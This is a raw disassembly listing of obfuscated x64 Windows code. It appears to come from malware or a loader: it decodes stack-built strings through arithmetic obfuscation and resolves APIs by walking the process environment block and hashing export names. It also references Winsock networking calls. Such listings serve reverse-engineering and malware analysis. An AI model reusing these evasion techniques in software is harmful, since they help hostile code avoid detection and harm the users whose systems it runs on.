movabs rcx, 0x593be44aee729aa9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x61
jmp 0x140142bce
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401428fe
movabs rdx, 0x673c6b83e24b82d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x140142ac7
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140142716
movabs rcx, 0x5d0fb7eee5fdc6ef
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x77
jmp 0x140142bf8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014295d
movabs rdx, 0x359592f7899c6bd4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142bf8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140142987
movabs rdx, 0xe2cd7564d94e8958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x140142a93
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401429ae
movabs rdx, 0xe6a14908d0d9b59e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x140142a03
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014274b
movabs rdx, 0xea751cacc864e1e4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x140142873
movabs rdx, 0x97acff1a1816ff68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x420]
add bl, r8b
add bl, dl
movabs rdx, 0xc2faf7b56c0386c9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x7f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x420], cl
jmp 0x140142bcb
movabs rdx, 0xee48f050bff00e2a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x420]
sub bl, 0x26
jmp 0x140142a93
movabs rcx, 0x4244ee73212f9105
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x23
jmp 0x140142ac7
movabs rdx, 0xeba8fd3c79568243
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x2b
add bl, dl
movabs rdx, 0x1996e8ec13dc958b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x420], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x44e4e18767c91cec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x74
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140142bf8
movabs rcx, 0x950d0c05d17d7381
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x79
jmp 0x140142bce
movabs rcx, 0x3e711acf29a464bf
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x39
jmp 0x140142bcb
movabs rcx, 0xe40155f48a4029b7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
movabs rcx, 0x6c5f067ec42a7807
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x31
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
jmp 0x140142ba5
movabs rcx, 0xe02d825092b4fd71
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x17
add r10, r15
sub r9, r15
jmp 0x140142c07
movabs rcx, 0xdc59aeac9b29d12b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2d
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140142c07
movabs rcx, 0x81e9e9d1fbc59623
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0xb
movzx eax, byte [rbp + r9 + 0x420]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401420cd
movabs rcx, 0x7f8228b299e25565
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x3d
jmp 0x1401420c8
movabs rcx, 0x28e6377bf20946a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
jmp 0x1401420b8
lea rsi, [rbp + 0x16af94c]
jmp 0x140142c6e
lea rsi, [rbp + 0x5780ad]
jmp 0x140142c6e
lea rsi, [rbp + 0x420]
mov byte [rbp + 0x1030], 0xe1
mov byte [rbp + 0x1031], 0xad
mov byte [rbp + 0x1032], Ordinal_60
mov byte [rbp + 0x1033], 0xab
mov byte [rbp + 0x1034], 0xc0
mov byte [rbp + 0x1035], 0xa9
mov byte [rbp + 0x1036], 0xbb
mov byte [rbp + 0x1037], Ordinal_217
mov byte [rbp + 0x1038], Ordinal_79
mov byte [rbp + 0x1039], Ordinal_217
mov byte [rbp + 0x103a], 0xb3
mov byte [rbp + 0x103b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x103c], 0xf0
mov byte [rbp + 0x103d], Ordinal_211
mov byte [rbp + 0x103e], 0xae
mov byte [rbp + 0x103f], 0xdf
mov byte [rbp + 0x1040], 0x42
mov byte [rbp + 0x1041], 0xdd
mov byte [rbp + 0x1042], Ordinal_79
mov byte [rbp + 0x1043], 0xdb
mov byte [rbp + 0x1044], 0x44
mov byte [rbp + 0x1045], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1046], 0xab
mov byte [rbp + 0x1047], Ordinal_200
mov byte [rbp + 0x1048], 0xab
mov byte [rbp + 0x1049], Ordinal_200
mov byte [rbp + 0x104a], 0x5e
mov byte [rbp + 0x104b], Ordinal_200
mov byte [rbp + 0x104c], 0xa9
mov byte [rbp + 0x104d], 0xc1
mov byte [rbp + 0x104e], 0x5d
mov byte [rbp + 0x104f], Ordinal_211
mov byte [rbp + 0x1050], 0x5e
mov byte [rbp + 0x1051], Ordinal_211
mov byte [rbp + 0x1052], 0xea
mov byte [rbp + 0x1053], 0xcb
mov byte [rbp + 0x1054], 0x9d
mov byte [rbp + 0x1055], 0xc9
mov byte [rbp + 0x1056], Ordinal_217
mov byte [rbp + 0x1057], 0xf7
mov byte [rbp + 0x1058], __WSAFDIsSet
mov byte [rbp + 0x1059], 0xf5
mov byte [rbp + 0x105a], Ordinal_211
mov byte [rbp + 0x105b], 0xf3
mov byte [rbp + 0x105c], 0xbd
mov byte [rbp + 0x105d], 0xf1
mov byte [rbp + 0x105e], 0x60
mov byte [rbp + 0x105f], 0xff
mov byte [rbp + 0x1060], 0x62
mov byte [rbp + 0x1061], 0xfd
mov byte [rbp + 0x1062], WSAGetLastError
mov byte [rbp + 0x1063], 0xfb
mov byte [rbp + 0x1064], 0x66
mov byte [rbp + 0x1065], 0xf9
mov byte [rbp + 0x1066], Ordinal_200
mov byte [rbp + 0x1067], 0xe7
mov byte [rbp + 0x1068], 0xa9
mov byte [rbp + 0x1069], 0xe5
mov byte [rbp + 0x106a], 0x76
mov byte [rbp + 0x106b], 0xe3
mov byte [rbp + 0x106c], Ordinal_143
mov byte [rbp + 0x106d], 0xe1
mov byte [rbp + 0x106e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x106f], 0xef
mov byte [rbp + 0x1070], Ordinal_143
mov byte [rbp + 0x1071], 0xed
mov byte [rbp + 0x1072], 0x76
mov byte [rbp + 0x1073], 0xeb
mov byte [rbp + 0x1074], 0x81
mov byte [rbp + 0x1075], 0xe9
mov byte [rbp + 0x1076], 0x84
mov byte [rbp + 0x1077], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1078], 0x7f
mov byte [rbp + 0x1079], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x107a], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x107b], reloc.WS2_32.dll_send
mov byte [rbp + 0x107c], 0x64
mov byte [rbp + 0x107d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x107e], Ordinal_143
mov byte [rbp + 0x107f], Ordinal_32
mov byte [rbp + 0x1080], 0x7d
mov byte [rbp + 0x1081], Ordinal_32
mov byte [rbp + 0x1082], 0x76
mov byte [rbp + 0x1083], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x1084], 0x75
mov byte [rbp + 0x1085], Ordinal_27
mov byte [rbp + 0x1086], 0x98
mov byte [rbp + 0x1087], 7
mov byte [rbp + 0x1088], Ordinal_41
mov byte [rbp + 0x1089], 5
mov byte [rbp + 0x108a], 0x67
mov byte [rbp + 0x108b], 3
xor eax, eax
mov byte [rbp + 0x108c], al
mov byte [rbp + 0x108d], r15b
mov dword [rbp + 0x108e], eax
mov word [rbp + 0x1092], ax
mov byte [rbp + 0x1094], al
movabs r14, 0x6c3a2f70dd85363a
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x65
jae 0x140143ace
movzx r9d, byte [rbp + r10 + 0x1030]
mov r8, r9
cmp rdi, r10
ja 0x140143ac5
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140142f78
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x140142fa5
je 0x140143a38
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401439b0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140143981
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140143931
cmp r11, r10
ja 0x140143abc
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jae 0x140142fda
movabs rdx, 0xe0c5e4422bed72c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140143028
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401438e2
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401438bf
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014389b
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140143879
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140143853
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14014382d
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x140143505
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401434e4
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x1401434be
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401434aa
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140143496
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x140143473
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140143450
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x14014342f
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014341b
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x140143407
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x140143035
mov rdi, rax
lea r11, [rax + 1]
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x140143a96
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140143a70
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140143233
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140143211
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401431ef
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401433f0
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401433dc
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14014338a
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x14014335f
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140143035
lea rdi, [r11 + 0x3e8]
lea r11, [rdi + 0x3e8]
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x14014333c
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x14014331b
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401432f9
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x1401432e5
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401432d1
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401432bd
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14014329a
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140143277
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140143256
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x140143035
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x10]
jmp 0x140143035
movabs rcx, 0xc397c2484754717e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
jmp 0x140143028
movabs rcx, 0xeb2363668c4a050a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x140142fa5
movabs rdx, 0x12af0484d13f9896
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x140142f4a
movabs rdx, 0x62f22115f6b9610
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1401438fe
movabs rcx, 0x2dbac32fa461299c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x140143926
movabs rcx, 0x5546644de956bd28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x140143929
movabs rdx, 0x7cd2056c2e4c50b4
mov ecx, 0xa
jmp 0x1401438a8
movabs rdx, 0xa45da68a7341e440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014369a
movabs rdx, 0xcbe947a8b83777cc
mov ecx, gethostname
jmp 0x1401436c9
movabs rcx, 0xf374e8c6fd2d0b58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401439d1
movabs rdx, 0x1b0089e542229ee4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
jmp 0x1401435f6
movabs rcx, 0x428c2b0387183270
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x140143a59
movabs rcx, 0x25693dcf337e234e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x1030], bl
jmp 0x140143a68
movabs rdx, 0x4cf4deed7873b6da
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r11, 0x1000
jb 0x14014337d
movabs rdx, 0x1f2ee6f843139b1c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140143900
movabs rdx, 0x7480800bbd694a66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x140143554
movabs rdx, 0x9c0c212a025eddf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x14014351b
movabs rdx, 0x44a3598d0790b08c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401435b7
movabs rdx, 0x6c2efaab4c864418
mov ecx, Ordinal_46
jmp 0x1401435e6
movabs rdx, 0x93ba9bc9917bd7a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x140143826
movabs rcx, 0xbb463ce7d6716b30
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x14014399e
movabs rcx, 0xe2d1de061b66febc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x14014397c
movabs rdx, 0xa5d7f24605c9248
mov ecx, 4
jmp 0x140143940
movabs rdx, 0x31e92042a55225d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401438ce
movabs rdx, 0x5974c160ea47b960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143926
movabs rdx, 0x8100627f2f3d4cec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x1401438fe
lea rax, [r11 + 0x10]
cmp rdi, rax
jae 0x14014359f
lea rdx, [r10 + r14]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0x20
je 0x140143802
lea rax, [r11 + 0x20]
cmp rdi, rax
jbe 0x140143668
movabs rdx, 0xc9dd4de4c8bdebd2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x1401437d9
lea rcx, [r11 + 3]
cmp rdi, rcx
jbe 0x140143710
movabs rcx, 0xaaa33226f4ab5e94
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x1401433ab
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401435ce
movabs rdx, 0xc18bc88457dae584
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143a59
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401435fd
movabs rdx, 0x9a00276612e551f8
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143a05
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014361a
movabs rdx, 0x72748647cdefbe6c
mov ecx, 6
jmp 0x140143862
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140143637
movabs rdx, 0xd44601ceba19703c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401438ce
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14014352a
movabs rdx, 0x852ebf92302e4924
mov ecx, 2
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401438fe
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140143682
movabs rdx, 0xa251acc683c85846
mov ecx, ntohl
jmp 0x140143653
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401436b1
movabs rdx, 0x423284d6ff20a16
mov ecx, 0x33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014397c
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401436e0
movabs rdx, 0xdc97872f2afc768a
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014399e
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140143566
movabs rcx, 0x65f4a3d45c1bbbe6
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x4a
jmp 0x140143a59
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014373c
movabs rcx, 0x83179108afb5cb08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x140143a59
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140143766
movabs rdx, 0x5b8befea6ac0377c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x1401435f6
cmp rdi, rcx
jne 0x14014377f
movabs rdx, 0x34004ecc25caa3f0
mov ecx, Ordinal_60
jmp 0x140143862
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401437a9
movabs rdx, 0xbd5d6b7156e9e94c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x1401438b8
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401433ab
movabs rcx, 0x95d1ca5311f455c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x140143929
movabs rdx, 0xf7a345d9fe1e0790
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x1030]
jmp 0x14014394d
movabs rdx, 0xd017a4bbb9287404
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x1030]
sub bl, 0x1c
add bl, dl
jmp 0x1401439d1
movabs rdx, 0x7cdd3a31bf4b42d6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140143a59
movabs rdx, 0xcbf47c6e493669ee
mov ecx, 0x3f
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401439d1
movabs rcx, 0xf3801d8c8e2bfd7a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x56
jmp 0x14014399e
movabs rdx, 0x42975fc918172492
mov ecx, r15d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143952
movabs rdx, 0x6a2300e75d0cb81e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143929
movabs rdx, 0xb93a4323e6f7df36
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x8b6916692098d156
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x1030], r9b
add r11, r15
sub r10, r15
jmp 0x140143a68
movabs rdx, 0x7ef468bb3fc3c0f2
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x63dd754adba33dca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x1030], dl
add rdi, r11
jmp 0x14014399e
movabs rcx, 0xce0baaf7c9aee80a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140143a68
mov r9, r8
movabs rcx, 0xf5974c160ea47b96
add rcx, r10
and r8b, cl
add r8b, r8b
mov bl, r9b
sub bl, r8b
sub bl, 0x1a
add bl, cl
movabs rdx, 0x3c51d42c96adaa3e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1030], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0xa88c039d7432e078
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x1030], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140143a59
movabs rdx, 0x44ae8e52988fa2ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x1030]
add rax, r11
add r10, rax
add r10, r15
jmp 0x140142f37
movabs rdx, 0x3a3aa5a316352c22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140142f32
movabs rdx, 0x61c646c15b2abfae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140142f22
lea rdx, [rbp + 0x1407f28]
jmp 0x140143ad5
lea rdx, [rbp + 0x45b562]
jmp 0x140143ad5
lea rdx, [rbp + 0x1030]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x140143c5b
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143b62
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140143b54
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140143b43
cmp r9d, esi
jne 0x140143c46
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140143c46
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140143c46
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x140143bbf
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140143bb2
cmp r8d, r14d
je 0x140143bd5
test r10d, r10d
jne 0x140143b9c
jmp 0x140143c46
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140143c4e
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140143c4e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140143c17
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140143c09
jmp 0x140143c2c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140143c1f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140143b12
mov qword [0x1404fc118], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x140143dd1
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143ce3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143cd5
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143cc4
cmp r8d, esi
jne 0x140143db3
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140143db3
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140143db3
